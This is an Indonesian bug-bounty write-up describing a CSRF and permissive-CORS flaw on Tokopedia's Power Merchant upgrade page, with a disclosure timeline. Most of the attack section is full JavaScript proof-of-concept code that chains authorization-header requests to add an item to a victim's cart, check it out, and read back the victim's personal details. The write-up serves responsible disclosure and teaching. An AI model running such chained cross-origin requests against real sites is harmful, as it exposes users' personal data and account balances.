Tokopedia Bug Bounty – CSRF on Upgrade Power Merchant and Admin Cart

Hi gessss
Kali ini saya mau share ke kalian tentang issue bug yang saya temukan di website Tokopedia dari hasil research pertama saya sebagai bug hunter.

Tokopedia merupakan perusahaan teknologi Indonesia dengan misi mencapai pemerataan ekonomi secara digital. Sejak didirikan pada tahun 2009, Tokopedia telah bertransformasi menjadi sebuah unicorn yang berpengaruh tidak hanya di Indonesia tetapi juga di Asia Tenggara

Saya seorang newbie dalam dunia bug hunter dan ini merupakan kasus pertama saya yang saya laporkan pada 7 Juni 2019 kepada Tokopedia Security Team.

Pada awalnya saya membaca dan mencoba dari berbagai referensi tentang berbagai jenis kerentanan website dan berfokus pada kerentanan yang masuk list TOP OWASP. Karena Tokopedia merupakan platform marketplace yang saya gunakan untuk mendukung pekerjaan saya sebagai freelancer, saya mencoba mencari kerentanan disana. Setelah mengulik-ngulik didalamnya, saya berhasil menemukan kerentanan CSRF pada halaman Upgrade Power Merchant dan Admin Cart yang memiliki dampak pencurian data detail pengguna (korban). Namun kali ini saya hanya akan membahas kerentanan CSRF pada halaman Upgrade Power Merchant karena konsepnya hampir sama dengan halaman Admin Cart.

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

src: OWASP

Sebagai seorang seller tokopedia ketika ingin berlangganan/upgrade layanan Power Merchant pada saat itu yang harus dilakukan adalah memilih jenis layanan -> memasukan ke keranjang belanja -> lanjut checkout untuk masuk ke halaman pembayaran dan di step terakhir inilah server memberikan respone data detail pengguna.

Reproduces

Affected Subdomain: goldmerchant.tokopedia.com

Untuk bisa sampai ketahap Checkout untuk mendapatkan data detail pengguna kita membutuhkan data autorisasi di header setiap request HTTP dikirim ke server. Konfigurasi CORS pada subdomain goldmerchant.tokopedia.com mengizinkan semua origin/domain untuk bisa mengakses resources/data respone dari server dan ini saya manfaatkan untuk mendukung kerentanan CSRF yang saya temukan untuk mengelola data respone dari server dari origin/domain milik saya.

Step 1:
Saya membuat script untuk mendapatkan data parameter otorisasi (Authorization, Content-MD5, Req-Date, X-Method) yang akan digunakan pada request ke Step 2 yaitu menambahkan item layanan ke dalam cart.

function GetAuthAdd() {
      var url_authadd = "https://goldmerchant.tokopedia.com/v1/authgen?URL=/v1/cart/add/gold?&ContentType=application/json&RequestMethod=POST";

      var xhttp = new XMLHttpRequest();
          xhttp.onloadstart = function () {
            document.getElementById("result").innerHTML = "<h4>Auth Add Gold :</h4>Loading...";
          };

          xhttp.onerror = function () {
            alert("Gagal mengambil data Auth Add Gold!");
          };

          xhttp.onreadystatechange = function() {
          if (this.readyState == 4 && this.status == 200) {
            document.getElementById("result").innerHTML = "<h4>Auth Add Gold :</h4>"+xhttp.responseText;

            var obj = JSON.parse(xhttp.responseText);
            var auth = obj.Authorization;
            var md5 = obj.ContentMD5;
            var date = obj.Date;
            var req = obj.RequestMethod;

            PostGoldCart(auth, md5, date, req);


          } else {
              document.getElementById("result").innerHTML = "<h4>Auth Add Gold :</h4><pre>Invalid!, Status: ["+this.status+"]</pre>";
          }
          };
        xhttp.open("GET", url_authadd, true);
        xhttp.send();

    }

Step 2:
Setelah data parameter otorisasi (Authorization, Content-MD5, Req-Date, X-Method) saya dapatkan, saya mengirim request ke server untuk menambahkan item layanan Power Merchant dengan id=101 ke dalam keranjang.

function PostGoldCart(auth, md5, date, req) {
      var url_goldcart = "https://goldmerchant.tokopedia.com/v1/cart/add/gold?";

      var xhttp = new XMLHttpRequest();
          xhttp.onloadstart = function () {
            document.getElementById("result2").innerHTML = "<h4>Gold Cart :</h4>Loading...";
          };

          xhttp.onerror = function () {
            alert("Gagal mengambil data Gold Cart!");
          };

          xhttp.onreadystatechange = function() {
          if (this.readyState == 4 && this.status == 200) {
            document.getElementById("result2").innerHTML = "<h4>Gold Cart :</h4>"+xhttp.responseText;

            GetAuthCheckout();

          } else {
              document.getElementById("result2").innerHTML = "<h4>Gold Cart :</h4><pre>Invalid!, Status: ["+this.status+"]</pre>";
          }
          };

          xhttp.open("POST", url_goldcart, true);
          xhttp.withCredentials = true;
          xhttp.setRequestHeader("Content-type", "application/json");
          xhttp.setRequestHeader("Content-MD5", md5);
          xhttp.setRequestHeader("Authorization", auth);
          xhttp.setRequestHeader("Req-Date", date);
          xhttp.setRequestHeader("X-Method", req);

          xhttp.send('{"product_id":"101","nekot":"123","lang":"id"}');
    }

Step 3:
Ketika item yang dipilih sudah berhasil dimasukkan ke Cart, selanjutnya adalah melakukan Checkout item. Pertama, hampir sama seperti step 1 yaitu mendapatkan data parameter untuk otorisasi request.

function GetAuthCheckout() {
      var url_authcheckout = "https://goldmerchant.tokopedia.com/v1/authgen?URL=/v1/cart/checkout?promo_source=&ContentType=application/json&RequestMethod=POST";

      var xhttp = new XMLHttpRequest();
          xhttp.onloadstart = function () {
            document.getElementById("result3").innerHTML = "<h4>Auth Checkout :</h4>Loading...";
          };

          xhttp.onerror = function () {
            alert("Gagal mengambil data Auth Checkout!");
          };

          xhttp.onreadystatechange = function() {
          if (this.readyState == 4 && this.status == 200) {
            document.getElementById("result3").innerHTML = "<h4>Auth Checkout :</h4>"+xhttp.responseText;

            var obj = JSON.parse(xhttp.responseText);
            var auth = obj.Authorization;
            var md5 = obj.ContentMD5;
            var date = obj.Date;
            var req = obj.RequestMethod;

            PostGoldCheckout(auth, md5, date, req);


          } else {
              document.getElementById("result3").innerHTML = "<h4>Auth Checkout :</h4><pre>Invalid!, Status: ["+this.status+"]</pre>";
          }
          };
        xhttp.open("GET", url_authcheckout, true);
        xhttp.send();

    }

Step 4:
Step terakhir setelah data parameter otorisasi (Authorization, Content-MD5, Req-Date, X-Method) saya dapatkan, saya mengirim request ke server untuk melakukan Checkout item.

function PostGoldCheckout(auth, md5, date, req) {
      var url_goldcheckout = "https://goldmerchant.tokopedia.com/v1/cart/checkout?promo_source=";

      var xhttp = new XMLHttpRequest();
          xhttp.onloadstart = function () {
            document.getElementById("result4").innerHTML = "<h4>Gold Checkout :</h4>Loading...";
          };

          xhttp.onerror = function () {
            alert("Gagal mengambil data Gold Checkout!");
          };

          xhttp.onreadystatechange = function() {
          if (this.readyState == 4 && this.status == 200) {
            document.getElementById("result4").innerHTML = "<h4>Gold Checkout :</h4>"+xhttp.responseText;

          } else {
              document.getElementById("result4").innerHTML = "<h4>Gold Checkout :</h4><pre>Invalid!, Status: ["+this.status+"]</pre>";
          }
          };
        xhttp.open("POST", url_goldcheckout, true);
        xhttp.withCredentials = true;
        xhttp.setRequestHeader("Content-type", "application/json");
        xhttp.setRequestHeader("Content-MD5", md5);
        xhttp.setRequestHeader("Authorization", auth);
        xhttp.setRequestHeader("Req-Date", date);
        xhttp.setRequestHeader("X-Method", req);

        xhttp.send('{"product_id":101,"renewal_id":101,"voucher":"","is_desktop":1}');
    }

    </script>

Setelah request pada step 4 kita kirim, respone server akan menampilkan detail checkout item layanan dan data detail pengguna seperti user id, nama, email, no telp, saldo dll.

Proof of Concept:
Timeline:
  • 7 Juni 2019: Report ke Tokopedia
  • 26 Juni 2019: Tokopedia mengkonfirmasi bahwa Bug Valid
  • 12 Agustus 2019: Tokopedia meminta data untuk sertifikat dan pembayaran reward
  • 12 Agustus 2019: Saya mengirim data yang diperlukan
  • 9 Oktober 2019: Sertifikat dan Reward diterima

Share:

More Posts